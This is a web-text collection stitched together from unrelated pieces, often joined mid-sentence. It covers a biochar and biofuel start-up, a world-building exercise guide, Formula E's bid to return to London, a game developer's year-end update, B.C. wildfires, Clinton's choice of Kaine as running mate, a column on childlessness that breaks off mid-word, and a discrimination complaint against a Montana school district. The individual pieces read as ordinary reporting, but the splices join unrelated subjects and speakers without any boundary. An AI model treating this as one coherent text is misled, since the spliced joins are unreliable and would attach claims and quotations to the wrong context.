It was a message of cooperation from a governor who has dealt with division within his own party recently. Kasich is the Republicans' only 2016 presidential contender who didn't fall in line behind President-elect Donald Trump.Every so often, one hears about a technology or start-up company that appears too good to be true. Most of the time they are just that, and you never hear about them again. The case of Cool Planet, however, may prove to be one of those memorable exceptions.
First, let’s start with the investors. Heavy hitters GE, Exelon, NRG, ConocoPhillips, BP, and Google are just some of the companies who have put money behind the venture. Then there’s the management team. These are serious players from the communications, finance, and fuels industries. The chief technology officer – Mike Cheiky - who came up with the company’s technology has over 50 patents, two World Economic Forum Energy awards, and has founded six start-ups.
So much for the bona fides, what does Cool Planet do? Well, they make gasoline from organic materials such as trees, grass, or corn cobs. The company can manufacture gasoline in modular plants, and their long-term goal is to produce it at $1.50 a gallon. Their first $50+million, 10 million gallon-per-year manufacturing facility is now being built in Louisiana.
But what may be even more important is the residual ‘waste’ that results from the creation of gasoline. That waste is essentially the carbonized remainder of the biomass they heat up, from which the vapors were extracted and liquefied into gasoline. This co-product is called biochar, and if you haven’t heard of it yet, you may well soon. Biochar is defined by the International Biochar Initiative (yes, there is such a thing; the IBI has 400 paying members from 34 countries) as “a solid material obtained from the carbonization of biomass.”
Biochar – when blended with soil – has the unique ability to vastly improve plant harvests while reducing the amount of water and fertilizer needed. According to the IBI, biochar also has appreciable carbon sequestration that is measurable and verifiable. Cool Planet’s biochar is the first product to be certified by the IBI.
I spoke to two executives from Cool Planet to find out more about the whole business, and what the company was up to. Mike Rocke, vice president for business development explained that because of the properties outlined above “We aren’t carbon neutral, we can be carbon negative.”
Here’s how the process works, according to Rocke:
We take any non-food biomass, we grind it up and then we use pressure and heat like mother nature does, and we do it in minutes versus years, to drive all the reactive gases out of the biomass. Then we take it through a catalytic column, and then out of that we get fuel - floating on water - and biochar.
Unlike ethanol – which is mainly produced from corn in this country – CoolPlanet doesn’t have to use food to make fuel. Rocke comments, “We could use all of the dead trees in Colorado with the beetle-killed wood, to avoid forest fires, and we could make fuel and biochar to help recover the land.”
In fact, U.S. Secretary of Agriculture Tom Vilsack announced in November a grant of $9.8 million to the Colorado State University to work with Cool Planet in helping to convert some of the 42 million acres of diseased wood in western forests into fuel and biochar.
The process is flexible. It’s not just wood that can be used as a source of fuel “We can use any cellulose – switchgrass, for example or woody products like ligno-cellulose.” And the manufacturing plants are relatively flexible as well, since they can be built in a modular fashion, much smaller than the typical investments in the gasoline industry.
The plants are low capex – these are low cost units. They are eventually planned to go in cargo containers and you can ship them anywhere. Our Louisiana facility, which will be Cool Planet’s 1st commercial site, will cost $56 million and yield 10 million gallons a year in capacity. It will be ready by Q3 of 2014
The long-term goal is to scale manufacturing to get the plants into the $20 million range, and Rocke notes, “We should be able to put out gasoline at cost of $1.50 when we get to scale. We’ve already presold our fuel to the big majors to blend with existing fossil in order to lower their carbon footprint."
In creating this mix of products, Cool Planet has faced more than one arched eyebrow. Rocke noted that one of the major oil companies initially looked at the fuel, which has been verified by independent research labs to be 99.98% the same as gasoline, and thought it was a traditional ancient hydrocarbon product.
They thought it was fossil because of the gas-chromatograph test and said ‘we’ll come back in two weeks and tell you where it was from’ (oil companies can test random samples and tell you what part of the world they originate from and their age). They came back and apologized because they had done a carbon 14 dating test and said ‘this is new.’ We said, ‘yes, we told you that.’ Then they responded – we can now tell you the fuel came from corn cobs.’
Rocke commented that the ability to create valuable biochar as an additional product was somewhat accidental. “Originally we were going to put this stuff back in the ground as coal. We didn’t know what we had with biochar.”
In the early stages of development, the biochar they created was actually killing the plants they tested it on. Then Cool Planet realized the trick was to actually apply less energy to the production process (called fast pyrolysis).
We use a minimal amount of energy – everybody else (other competitors) heats it up real hot and creates gases and reclaims the gas, but they tend to over-heat it. We use a minimum of energy and out comes this biochar at the end.
A number of approaches were necessary to get to the right outcome, with the input of agronomists, botanists, and microbiologists to optimize the impact on plants.
Rocke noted that there was a good deal of initial trial and error.
There has been a lot of work. The first time we created biochar three years ago we created a herbicide. We are now the first company certified the by Int’l BioChar Initiative. With this whole rhyzosphere, you need a symbiotic relationship between microbes and bacteria to fix nitrogen. You create cable-ready condos for microbes at the root level of plants. Not only do we have condo-ready move in, it comes with running water.
Rick Wilson, the executive responsible for the Cool Planet biochar operations, observed that the entire biochar industry is relatively new.
There have been a lot of false starts in marketing biochar. The product has to work every time, and that was not the state of the technology. We generally saw that people cooked biochar too high and it didn’t work very well.
Wilson noted thatMother Nature’s biochar is a forest fire.
A dead tree turns into a dead zone for a while, and then just takes off and the forest flourishes. All our IP came from looking at interaction with soil. If you overcook, you remove organic compounds that the microbes need. The function of biochar is to nurture symbiotic microbial populations. We discovered we need to not only do cooking right, but fix the chemistry before we put it in the soil. That’s the one-two punch that allows us to get pretty profound results 100% of time, not only in yields but faster growth rates. We tell farmers to reduce fertilizer use and water use by half.
Cool Planet is focusing on higher value crops like strawberries – which are worth 40 times as much per acre as corn. The company is currently engaged in field trials in row and orchard crops in both California and Florida, and they are testing in dairy as well, where European experiments show that small amounts of biochar can improve the health of animals while increasing milk output.
The company put me in touch with David Holden, an expert in agricultural field development research with a very long, 40- year resume, to discuss the results of the field trials to date. Holden is your quintessential cautious and understated researcher. He has to be, since he runs 120-140 agricultural trials every year on different products and applications, and people rely on him for accuracy and reliability.
Holden indicated that he first started trials of biochar in California in late May, on tomatoes and peppers, with strawberries and celery to come next. Applying a rigorous process “to avoid the possibility of cherry-picking the data,” he’s looked at biochar applications with normal fertilizer levels, as well as levels reduced by 20% and 40%. Likewise, he has tested with traditional applications of water, as well as applications reduced by 20% and 40%. He observed plant growth, nutrient uptake, soil depletion, and general levels of plant response. And so far, Holden has been impressed. He noted that with the biochar, a number of trials demonstrated higher than standard yields even with reduced fertilizer and water use. He also spoke like a true scientist. “With this early data, I would say that it was ‘significantly beneficial’ when we used the biochar.” Holden also commented “I would just say from a general perspective that I am impressed with the due diligence they (Cool Planet) are applying in developing the data for their product.”
So, while it’s still relatively early days for Cool Planet, things look pretty good to date. They are building their first modular gasoline plant in Louisiana, and they are still undertaking their field trials in California, and so far the results appear promising. The economic value associated with fuel production may be quite significant. And the value of the biochar could have profound implications as well. Holden insinuated that if the data continue to be positive, the economic opportunity could be immense just in this country alone. “In the US, we are the best in the world at producing food. Farmers don’t waste money, and they know what they are doing. If they see benefit in this, they will spend the money.”30 Days of WorldBuilding
PDF for printing out at home or reading on a computer
ePub for use with many fine ereader devices
MOBI for use with Kindles and MobiPocket software.
As of 2007, The world-builder exercises are licensed under a Creative Commons license to help you in deciding whether you can translate (yes, with credit back), distribute to your writing group (yes, with credit), sell (not without permission), reprint (yes, for non-commercial purposes), or mirror (yes, with credit back) this useful guide!In October, 2004, I posted 30 days of world-building exercises to the NaNoWriMo discussion forums. These are short, 15-minute exercises that can help you make crucial decisions about your world, and what you want your story to say about it. These exercises have been edited for general use and re-posted here.A lot of times, people want to write a novel and think "I want to write fantasy, but there's so much world-building I would have to do-- I haven't done any of it!" As everyone signing up for NaNoWriMo or any writing challenge quickly learns, this is really the self-editor speaking; it's another way of saying "I can't."So, give yourself 7 and a half hours this month-- 15 minutes a day-- to build a world. It's not going to be Perfect or Set. Why would it be? You haven't actually written the story yet, you haven't tested its limits. But it'll give you something to start with, something to feel comfortable about when you start.You'll need some way to track this stuff, by the way. A notebook is convenient, but you can track it on computer, a blog, whatever. For purposes of the exercises, I'll refer to a notebook, but understand that just means "that place where you keep your novel notes."London hosted the inaugural season finale in Battersea Park, but its five-year deal ended after just the second event because of local criticism.
That meant London fell off the FE calendar for 2016/17 and it is not part of the 11-city schedule for the upcoming 2017/18 season.
FE is keen to host a race on the streets of the city, having originally envisioned a circuit that would incorporate Trafalgar Square and The Mall, but that plan has so far failed to turn into anything tangible.
Asked by Motorsport.com about the prospect of the London round, a spokesperson for city mayor Sadiq Khan revealed he is "keen to see a London ePrix return to the capital".
They also confirmed "officers remain in discussion with the organisers of Formula E to identify suitable venues in London".
Getting permission to use the desired locations is the major hurdle for FE to clear.
FE CEO Alejandro Agag told Motorsport.com last month that the championship had not had "a positive reply" from the board of The Royal Parks.
That body is responsible for sanctioning the use of The Mall, which is the stretch of road that runs between St James's Park and Green Park and leads up to Buckingham Palace.
A spokesperson for The Royal Parks told Motorsport.com it had "not received a formal request to host this event".
Agag said FE is "going to keep trying" to make a London street race a reality, and said he had no deadline in mind to bring the race back.
"My time for London is any time," he said. "We're going to wait, or we won't do it. It's not mandatory. We would love to do it but we want to do it in the right place."
London is a notable absentee from an impressive 2017/18 FE calendar that includes events in the capital cities of Chile, Mexico, Italy, France and Germany.
It also has races in Hong Kong, Marrakech, Sao Paulo, Zurich, New York and Montreal.
Although London remains FE's preferred location, Agag revealed it is not the only option for a UK race: "I know we're talking to a couple – we're open. For now we're working on London, but the other options are also possible."
He added: "We just need one or two tweaks and we have the perfect calendar. We're almost there."
Though it no longer has a race, Britain has played a key part in the early seasons of FE.
Several teams are based out of FE's complex at Donington Park, while Virgin, Techeetah and NIO have all set up new offices in Britain.
FE also has a logistical hub at Donington and its main base is in London – although Britain's planned exit from the European Union could force FE to move those offices overseas for tax/revenue purposes.From the desk of Executive Producer Michael Brookes...
Hi everyone,
This week has seen the release of the first of the Horizons’ releases – with plenty more to come in 2016! We’ve also released another major update for Season One on all three platforms. This changing of the seasons also brings this final dev update for the year (worry not – they will return in the New Year!) and I want to reflect on the some of my personal highlights for the year.
Before doing so I’ll shout out for the heroes of this year’s achievements and that is the team. A few of us are fortunate enough to deal with the fans directly on our forums and through other channels, but we are the public face of a much larger team who’s talent and dedication has pushed the game’s development. Switching to publishing our own titles has expanded the company in many ways and so it’s not just the development team I’d like to shout out for, it’s all the other areas of the company like admin, marketing, tech and customer service that have helped make the game a success.
With so much happening over the past years it’s hard to believe that the base game release was almost exactly a year ago. There have been a number of major releases in that time and I’m not going to talk about them all, but the few that have stood out for me, not just for what they added to the game, but what they enable us to add in the future.
The first was Community Goals back in the early part of the year with the 1.1 release. When I joined the project during the kickstarter, two fundamental pillars separated this game from its predecessors and they are the multiplayer and the evolving galaxy. In truth the two go hand in hand and the community goals added a mechanism to help guide players together with a common purpose.
They’ve also added to our arsenal for involving players in the events of the galaxy, a particular favourite of mine was the Cerberus Plaque. Here we had dedicated pilots battling to prevent the spread of a horrible disease and the players involved brought a richness to the experience.
We’ve seen a similar effect with community inspired CGs, notable examples are the Battle for Lugh and the Hutton Orbital mugs. As well as continuing our story threads we’ll continue working with the community and player groups to involve them in areas of the galaxy.
Community goals are also a superb framework for expansion. Like many features in game, they are a tool that allows us to inject activities into the game and the library of activities associated with community goals is something we plan to continue expanding. Along with other actions we track, these community goals help us develop storylines and the direction they take and that player impact is something we will continue to support and expand further.
Powerplay was another highlight release for me, although it does seem to be a bit of a marmite feature! For me it works on two levels. There’s the more obvious level of working for and against the powers, but there’s also the second benefit of the dynamism it brings to the galaxy on a grander scale. There are benefits to being in certain regions as well as downsides.
It’s also a high level framework that we can develop further and here there are two approaches that I see as strengthening Powerplay. The first is on a personal level to make interacting with the powers more interesting and more diverse, adding powerplay mission is an example of this. The other is building more of a connection with the galaxy simulation both in being able to resist powers and developing minor factions into powers.
As part of season 2 we will be elevating a minor faction to a power, we’ll reveal more on this early next year. For fun here are the most influential minor factions in game:
Sirius Corporation
Alioth Independents
Dukes of Jotun
League of Amemait
CD-44 10336 Industries
The Dukes of Mikunn
Eta Draconis Gold Vision Co
Nagii Union
Workers of Manite Labour Union
Marquis du Ma'a
The development of influence is a key function of the galaxy simulation and also one of the more complicated aspects to the game. In my opinion one of the biggest issues is one of communication, there are a range of subtleties that aren’t immediately obvious which is no doubt causing frustration. This is something we shall be tackling as well as addressing any core issues and developing the system further to support more interaction.
My penultimate highlight was the Xbox One release. It was an incredible achievement to get the game working on the console and it looks marvellous on my home set up! It also brought CQC Championship which is a lot of fun for a quick blast as a change of pace for my journey to Sagittarius A* - over halfway there now :-)
And we end with our most recent launch – Horizons. Considering all the other releases we did during the year this was a phenomenal achievement. I think the name is most apt as I love just driving around and seeing some of the vistas. Chasing people in a ship as they drive around is amusing too! And it’s only the start of the season – there’s so much more to come!
So I will end this post with a big thank you to all of you. Thank you for playing the game, your community spirit and the feedback. Merry Christmas to you all!The Peace River Regional District in northern B.C. has declared a state of emergency due to several forest fires in the area.
The district said about 48 wildfires were burning in the region Monday night.
Evacuation orders and evacuation alerts have been issued for parts of the Baldonnel community near Fort St. John, as well as at Charlie Lake.
The Blueberry First Nation reserve north of Fort St. John was also evacuated and residents were sent to Taylor, where an emergency reception centre has been established.
Evacuation Area Map <a href="https://twitter.com/hashtag/FSJfire?src=hash">#FSJfire</a> <a href="https://twitter.com/hashtag/yxj?src=hash">#yxj</a> <a href="https://t.co/6z2YozEmfo">pic.twitter.com/6z2YozEmfo</a> —@fortstjohn
The City of Fort St. John said the fire destroyed three structures in the area.
DriveBC reported Highway 29 has been closed in both directions from Bear Flats to Halfway River Bridge because of a fire.
The fire danger is high for Fort St. John (and extreme for parts of Alberta) because of the dry weather of late, said the B.C. Wildfire Service. The city was under a special weather statement for strong wind gusts Monday night that could help fan and spread the flames.
The fire had Baldonnel residents scrambling earlier on Monday afternoon.
"Coming home from town, there was a lot of smoke," said Christy Jordan-Fenton, adding there was almost no visibility as she drove away.
"I got through just before they closed that road and are evacuating those farms."
Jordan-Fenton said she was concerned about the fire spreading to a nearby storage facility for oil and gas tanks, which she said is about three to four kilometres away from the fire.
She said it was 28 C and windy in the area, and there was a lot of dry crop land nearby.
Resident Garth Fenton said he was trying to get home but was stopped at a road block. He said the wind appeared to be blowing away from the tank farm for the time being.
Fenton said there was a lot of smoke in the area, and neighbours were trying to help each other out.
A wildfire burns near Fort St. John, B.C. (Anthony Henderson/Facebook)
Prince George residents forced to flee
Residents of an upscale neighbourhood in Prince George returned home Monday night after a wildfire forced them to flee.
Police said 10 to 12 homes in the Valleyview area were evacuated Monday afternoon when the fire started at about 4:30 p.m. PT, but the flames were under control later in the evening.
Cpl. Craig Douglass with Prince George RCMP said firefighters would remain in the area throughout the night.
The fire caught many in the neighbourhood by surprise.
RCMP say evacuees from this <a href="https://twitter.com/hashtag/cityofpg?src=hash">#cityofpg</a> wildfire will soon return to homes on Hart <a href="https://t.co/9yzkz5cxjk">https://t.co/9yzkz5cxjk</a> —@BetsyTrumpener
"I called my wife to let her know I'm coming home, and she said, 'I've got the kid, I've got the dog, I've got the hard drive and there's a fire in our yard, so we're out of here,'" said resident Michael Jansa.
Officers told Jansa and his family they should be allowed back into their home tonight after they make sure the wind doesn't pick up and spark it again.
"We're just hoping there's not too much smoke damage so we can stay in the house," he said.
Sharla Olsen was home when she saw the flames quickly advancing towards her and her children.
"Flames right to the tops of the pine trees in the backyard and they were coming pretty fast through the neighbour's yard," she said. "So we grabbed the kids and drove away."
"We had not a lot of time to leave, but enough."
<a href="https://twitter.com/hashtag/yxj?src=hash">#yxj</a> from Baldonnel Road - 249 road in background <a href="https://t.co/UBesz9Hl5g">pic.twitter.com/UBesz9Hl5g</a> —@andytylo85
Fires across northern B.C.
RCMP have been warning people about several wildfires burning around and southeast of Fort St. John.
"Police want to caution the public of heavy smoke and fires in a number of areas," said Dawson Creek Sgt. Mike Richard.
"With the high winds the area is currently experiencing, be extremely cautious in these areas as these fires are or can be fast moving."
Richard said one of the wildfires in the East Pine area of Highway 97 has jumped the highway heading north, and a large forest fire east of Kelly Lake is getting closer to the Alberta border.
He said there are also two grass fires west of Dawson Creek.
Meanwhile, on the northwest side of the province, the B.C. Wildfire Services says it responded to six new wildfires near Burns Lake on Monday.
With files from Betsy Trumpener and The Canadian PressDemocratic presidential nominee Hillary Clinton announced Virginia Sen. Tim Kaine as her running mate late Friday. Kaine, a moderate, is a popular figure in Virginia and the state's former governor. Photo by Kevin Dietsch/UPI | License Photo
NEW YORK, July 22 (UPI) -- Hillary Clinton formally locked up the Democratic presidential ticket late Friday -- announcing her pick of Virginia Sen. Tim Kaine as the party's vice presidential candidate this fall.
Clinton had been expected to name her V.P. candidate all day Friday. The news finally arrived online Friday night.
"I'm thrilled to announce my running mate, Tim Kaine, a man who's devoted his life to fighting for others," Clinton stated on Twitter.
The former secretary of state elaborated on her selection on her Facebook page.
"Tim's a man of relentless optimism who believes no problem is unsolvable if you're willing to put in the work," she stated. "That commitment to delivering results has stayed with him throughout his decades-long career as a public servant."
Kaine, a popular bilingual senator from a swing state, beat out Agriculture Secretary Tom Vilsack, New Jersey Sen. Cory Booker and Massachusetts Sen. Elizabeth Warren for the second slot on the Democratic presidential ticket.
Clinton made the official announcement three days before the start of the Democratic National Convention, which begins Monday in Philadelphia.
"I didn't make this decision lightly," Clinton added. "I've had the privilege of seeing two presidents and two vice presidents up close, and I wanted to pick someone who will be able to give me their best advice, look me in the eye, and tell me they disagree with me when they do.
"But what matters most is a simple test that's not easy to meet: whether the person could step in at a moment's notice and serve as president."
Former President Bill Clinton reportedly endorsed Kaine as the vice presidential candidate and has stressed the importance of winning his home state of Virginia, as no candidate since 2000 has won the White House without it.
RELATED Lynch fends off GOP grilling on decision not to prosecute Clinton
The long-awaited pick, though, may not be catching fire in the Democratic ranks as hotly as Clinton had hoped for. Many party liberals, particularly those aligned with Sen. Bernie Sanders, voiced substantial objection to a senator who's viewed widely as a moderate.
"Our presidential ticket cannot beat the billionaire bigot by simply being not Donald Trump," said Charles Chamberlain, executive director of the liberal advocacy group Democracy for America, in a statement. "To win in November, our ticket needs to have an unquestionably strong record in the fight against income inequality, one of the defining issues of the 2016 election."
Kaine has expressed vocal support for free trade pacts that have become a central economic issue in the campaign, and one on which Clinton has had a complicated history. She voted against the only free trade deal to come before the Senate in her eight years there, the Central American Free Trade Agreement, or CAFTA, but Bill Clinton negotiated and pushed through the precursor, the North American Free Trade Agreement. Now, more than six in 10 Americans believe NAFTA has resulted in U.S. manufacturing jobs to move to Mexico, a partner in the agreement.
Additionally, as secretary of state, Clinton supported the Trans-Pacific Partnership, a trade deal negotiated by President Barack Obama. Now as a candidate she has indicated she would be unlikely to support it in its present form because she said it lacks sufficient environmental and labor protections for U.S. workers from cheaper-cost Asian nations.
Kaine voted to fast-track approval of TPP in the Senate last year and has defended NATFA.
Trade is a singular issue where Trump's unorthodox brand of populist conservatism meets up with that of Clinton's primary opponent, the democratic socialist Sanders. Both men railed against free trade deals as job-killers throughout the primary.
Liberals such as DFA's Chamberlain have held out hope Clinton would use the VP selection to offer an olive branch to liberals.
Some liberals had hoped the pick would be Warren, Sanders or Ohio Sen. Sherrod Brown -- although each posed their own compatibility issues.
Warren and Clinton do not enjoy a close personal relationship and Warren's steadfast opposition to large Wall Street banks, while immensely popular with the liberal base, could prove a detriment to Clinton's fundraising efforts in her adopted home state of New York.
Brown, who was widely seen as a more palatable option to Clinton personally, is weighed down by the political realities of his Senate seat. If Brown were to run as VP and win, it would mean handing Republicans his seat for at least the next two years because it would be filled via executive appointment by Ohio's Republican governor, John Kasich. Republicans are on the defensive trying to hold their Senate majority with far more seats to defend than Democrats in 2016, meaning handing away Brown's seat to the GOP could cost Democrats control of the entire chamber.
Some critics believe Kaine doesn't bring the sizzle needed by the Democrats to vie for voters impressed with Trump's no nonsense approach and get-it-done attitude.
Friday, the Los Angeles Times posted two opposing columns by writers Jon Healey and Melissa Batchelor Warnke -- Healey's applauding Kaine as V.P. and Warnke's opposing the pick.
"I have no doubt that Tim can do the job, and I want him by my side on the trail and in the White House," Clinton said. "But we're going to need your help to get there. So join me and Tim, and let's get to work and go win this thing."Cameron Diaz always struck me as sensible. Maybe because she never joined Scientology, or married anyone patently ridiculous, despite toiling for a decade and a half at the coalface of Hollywood A-listiness. Maybe because she gives a damn fine impression of not taking herself too seriously.
Last week, Diaz proved herself especially sensible. I'll go further. She was wise, insightful, right.
The actress told Cosmopolitan magazine that being a woman and admitting you didn't want children is taboo. "I think women are afraid to say that they don't want children because they're going to get shunned... I have more girlfriends who don't have kids than those that do. And honestly? We don't need any more kids. We have plenty of people on this planet."
Diaz, who is 36, didn't go as far as to say that she definitely does not want children. But to be openly, loudly undecided on the issue - at the point when her biological clock should be ticking so loudly that she can hardly sleep, eat or think about anything else - is to be brave enough, frankly. It's an admission that invites suspicion and pity. To be a thirtysomething woman in 2009 and not want a child so desperately that you think you might die is simply not allowed.
In February, I wrote a column for Observer Woman about not wanting children. I am 37, nearly a year to the day older than Diaz and I just don't. I never have.
Unlike Diaz, I did not know that voluntary childlessness is an unacceptable crime to cop to. I thought I was merely expressing an opinion. I thought that people who want - or have - children, would accept that I do not, just as I accept their choice. After all, it's my (notional) babies I am rejecting, not theirs.
I was wrong.
I stated my case. I listed my reasons, even though it annoys me that the child-free have to justify their status. No one ever asks a parent why they have kids. But I explained that I like my life as it is, my lifestyle, my career. I explained that I had felt this way for 30 years - and that even though all the things that were supposed to change my mind (love, a long-term relationship, pressure from breeding contemporaries) had happened to me, I remain resolutely childless.
I explained that I like the potential of my childless existence: to travel, sleep, read, drink, watch HBO box sets, have feckless fun.
I talked about how difficult it is to be child-free, when popular culture fetishises parenthood in general and motherhood in particular. When the dramatic arc of all TV dramas, of all rom-coms, is dependent on someone becoming pregnant and finding true happiness as a consequence. Babies are the newest archetype on the happy ending, therefore not wanting them is tantamount to not wanting to be happy.
I talked about how weird it is to be disconnected from this baby-crazy culture. Like being sober while everyone else is drunk. I talked about how strange it is to not even care whether or not I'm infertile, when apparently it's all anyone else thinks about.
Was |
is growing awareness of the technologies, companies running them must constantly outsmart Internet police intent on shutting them down. And in China, many local users are unwilling to pay, either because they lack access to a foreign credit card or would rather use something that is free.
Research also suggests many Chinese may not have a desire to use the tools at all. A 2007 study conducted by the Chinese Academy of Social Sciences found 80 percent of those surveyed supported government control of the Internet.
"We don't want to rely on [censoring of the Internet for our business]," said Bullock. "But we may never get rid of it. Someone will always be trying to control the flow of information."The Wolf Point schools’ student population is about 64 percent Native, but whites dominate the town’s political and economic life, and hold most of the jobs at the school. As a result, Native children do not receive the equal education that the law requires. (Photo: maroke / iStock / Getty Images Plus)
Teachers and coaches in the Wolf Point, Mont., schools have called Native students “dirty Indians” and “rez kids,” performed “war whoops,” told a concerned Native parent “fuck your daughter,” and informed the mother of a special-needs five-year-old that he has to change his behavior if he wants his non-Native classmates to stop biting, hitting and sexually touching him.
A Fort Peck Assiniboine and Sioux Nations’ discrimination complaint claims all this and more is par for the course for tribal children in the Wolf Point School District. On June 28, the tribes submitted the complaint to the US Departments of Justice and Education under Title VI of the Civil Rights Act of 1964. The act prohibits discrimination based on race, color or national origin in federally funded programs, including local school systems. Attorney Melina Healey, a fellow with the advocacy group Equal Justice Works, is representing the tribes, along with additional attorneys. The ACLU of Montana signed on in support of the complaint.
“We are at a do-or-die moment for our tribe’s children,” says Roxanne Gourneau, a Fort Peck tribal executive board member. “I don’t want any more of our youngsters to end up in the cemetery or prison.”
The complaint asks the federal government to help bring the Wolf Point School District into compliance with federal law; it is not a lawsuit and does not request compensation. It does provide the federal agencies with many personal narratives and much data to support its allegations that Native kids are subjected to staff and student bullying, and are excessively disciplined, receiving a disproportionately high rate of suspensions and expulsions. The complaint maintains that Native students are discouraged from taking advanced academic courses for which teachers control enrollment; instead, they are more likely to be warehoused in an underfunded alternative school.
The Wolf Point schools’ student population is about 64 percent Native, drawn from the surrounding Fort Peck Indian Reservation, in northeastern Montana. However, whites dominate the town’s political and economic life, and hold most of the jobs at the school. As a result, there are few Native teachers and coaches on staff to serve as mentors and role models. As a consequence of all this, according to the 46-page complaint, Native children do not receive the equal education that the law requires.
The federal agencies have 180 days to decide whether they’ll investigate.
“Something Is Very, Very Wrong at Wolf Point”
In 2010, Gourneau says, her son, Dalton, paid a terrible price for the school district’s disciplinary policies. After being kicked off the wrestling team just before a big tournament, Dalton tried to plead his case with Wolf Point High School officials. When this proved unsuccessful, the well-liked senior wandered the school’s corridors for a while, walked home and shot himself. He was 17.
“I am terrified that my grandchildren will be next,” Gourneau says.
Attorney Jeana Lervick, of the district’s law firm, Felt, Martin, Frazier & Weldon, wrote in an email to Rural America In These Times, “I’m sure you can appreciate that the District is interested in a thorough, in-depth look at every aspect of concern. Therefore, the District’s only statement at this time is that it is deeply concerned by the allegations, is committed to the wellbeing of all students and staff, and is carefully reviewing the document at this time.”
Wolf Point’s list of vision statements introducing its 2013–2014 online report card for state school districts offers a positive perspective on the education that Wolf Point offers. The list reads, in part: “All children feel safe, welcome, and successful,” and “All school personnel are respectful, tolerant of differences, consistent, and nurturing.”
The online report card also shows a graduation rate that, at 70 percent, is more than 10 percent below the Montana state average. Meanwhile, none of the elementary, junior high and secondary schools that make up the Wolf Point district achieved “adequate yearly progress” in reading or math proficiency that year.
Life and Death
Excessive discipline and a low graduation rate mean that some of Wolf Point’s Native students are likely to acquire criminal records instead of degrees, according to the Fort Peck complaint. Some don’t make it at all. The Fort Peck tribes declared a widely reported suicide emergency during the 2009–2010 school year, after 20 attempts and five completions among its children.
For Fort Peck youth aged 15–24, the suicide rate was 82.6 per 100,000 during the decade leading up to 2010, according to the Montana Department of Public Health and Human Services. This far exceeds the national rate of 12.93 per 100,000 in 2014 for all ages, sexes, and population groups, according to a Montana Suicide Mortality Review Team report.
County-level data for 2015 shows that the crisis has not abated in Roosevelt County, which overlaps Fort Peck; 28 out of a total of 233 high school students attempted suicide at least once that year. In the spring of 2017, one Wolf Point student killed herself; a second was hospitalized after attempting suicide.
Native parents told RAITT that unpunished verbal harassment and beatings by white students, along with violent behavior by teachers — cursing, shouting in students’ faces, striking a Native child from behind with a basketball, smashing a ball against a wall in a manner that children perceived as threatening, and the like — have caused individual Native students as many as several years’ worth of panic attacks, thoughts of suicide and other stress-related responses.
Tribal parents and grandparents told RAITT that each fall they face the first day of school with dread, as they wonder whether their children will survive the academic year ahead. So far, says the Fort Peck complaint, the Wolf Point district has rebuffed the tribes’ offer to collaborate on a suicide-prevention program. Lervick’s did not respond to queries about the district’s reasons for not offering such a program.
The Wolf Point school district has long been regarded as troubled. In 2013, it settled an ACLU lawsuit alleging that gerrymandered school-board voting districts favored white residents of the town and allowed them to control the school and its resources. Though the voting districts were subsequently redrawn, some Native board members now claim that secret board meetings and communications shut them out of decision-making.
From 2003 to 2008, the Wolf Point schools were under Department of Education (DOE) monitoring. According to documents obtained via a Freedom of Information Act request and first reported in Indian Country Media Network, this occurred after a three-day community forum that was sponsored by the Fort Peck education department, among others. During the forum, parents shared their children’s experiences and had consultants tour the schools and speak to administrators.
The consultants — Delores Huff, a California State University professor and American Indian-education expert, and journalist Christina Rose — wrote a report that became the basis of a 2003 DOE civil-rights complaint. Huff, who is Cherokee, and Rose found a locked padded room where Native students were detained for even minor offenses, heard parent allegations that the school routinely urged that Native children take the behavior-modification drug Ritalin, irrespective of need or a medical evaluation, and learned that a teacher had slaughtered a litter of kittens in a particularly bloody manner outside a classroom window and within view of terrified children.
The two consultants told DOE that they saw little evidence of Native cultural references at Wolf Point, other than a bulletin board touting “Native American Role Models,” almost all of whom were light-skinned and/or blond. Native children learn that “they don’t belong,” they wrote in their report.
Huff and Rose also learned of one child who died and another who sustained head injuries while playing on playground equipment that remained in use at the time of their visit. The inordinately high mortality among Fort Peck youngsters, including those who are students at Wolf Point, has not only been documented by Huff and Rose and by Montana state suicide reports. It has also been documented in the current DOE/DOJ complaint, in a 2011 US Senate Committee on Indian Affairs hearing, and in numerous media accounts over the years.
District administrators offered explanations that Huff and Rose conveyed in their report: Among them, the padded room (now closed) was constructed “to code,” an apparent reference to building codes, and the teacher who killed the kittens was suspended for a few days. Bottom line, they wrote, “Something is very, very wrong at Wolf Point.”
DOE began monitoring the district with continual inspections until it felt, in 2008, that the Wolf Point schools had improved enough to remove oversight.
Difficult (and Distant) Choices
Some Wolf Point families transfer tribal children to schools in predominantly Native areas of the reservation. However, this can be cumbersome and expensive for poor working folk, observes grandparent and tribal member Louella Contreras. One of the closest public school systems, in Poplar, Mont., is 20 miles from Wolf Point. Assuming a parent has the time, vehicle, gas money, ability to get off work and/or access to a babysitter, that means two daily round trips, adding up to 80 miles on the road each school day, Contreras says.
One parent decided this was her best option. Worried about her daughter’s depression as a result of her treatment by staff and students at Wolf Point, the mother transferred the girl to the Poplar school system. “Everyone welcomed us with open arms,” says the mother, who wishes to remain anonymous for fear of retaliation in Wolf Point. “And really important, in Poplar’s culture classes, my daughter is learning good things about her heritage instead of feeling that everything about her and her people is bad.”
Still, says Contreras, Native families shouldn’t have to go through this. She points out that the Fort Peck reservation is the tribal students’ traditional homeland, and for those who live in Wolf Point, it is their hometown. “How can the school continue to give our children the impression, or actually tell them, that they don’t belong?” she asks.
There are “Native American” classes at Wolf Point these days, Contreras adds. “But they’re taught by a white woman. She may be a fine teacher, but what can she really know of the meaning of anything she tells our children about?”
Contreras reiterates a point that other parents made, which is that solving these problems is literally, not figuratively, a matter of life and death for Fort Peck’s children.
Power Plays
Attorney Melina Healey first visited Fort Peck and Wolf Point several years ago in the course of research that resulted in a work of legal scholarship, “The School-to-Prison Pipeline Tragedy on Montana’s American Indian Reservations.” In a 2013 interview, Healey told Indian Country Media Network that she was initially surprised to see a white enclave on an American Indian reservation. “Then I realized how much white people benefit from the reservation, including jobs in the schools,” Healey said. “They live in nice houses on top of a hill, while housing for American Indians is very different. Looking further, I saw how prominent school is in Fort Peck children’s lives and why expulsions and other disciplinary measures, applied unfairly, are devastating.”
How did white incomers end up in control of Wolf Point’s economy, political system and schools? This takeover followed the allotment, or breakup, of the Fort Peck reservation. In a process described by an In These Times special investigation, the US government divided many communally held Indian reservations into separate, individually owned plots, or “allotments.” This occurred during the 1800s and early 1900s. The government awarded some tracts to tribal members and sold the rest to white settlers.
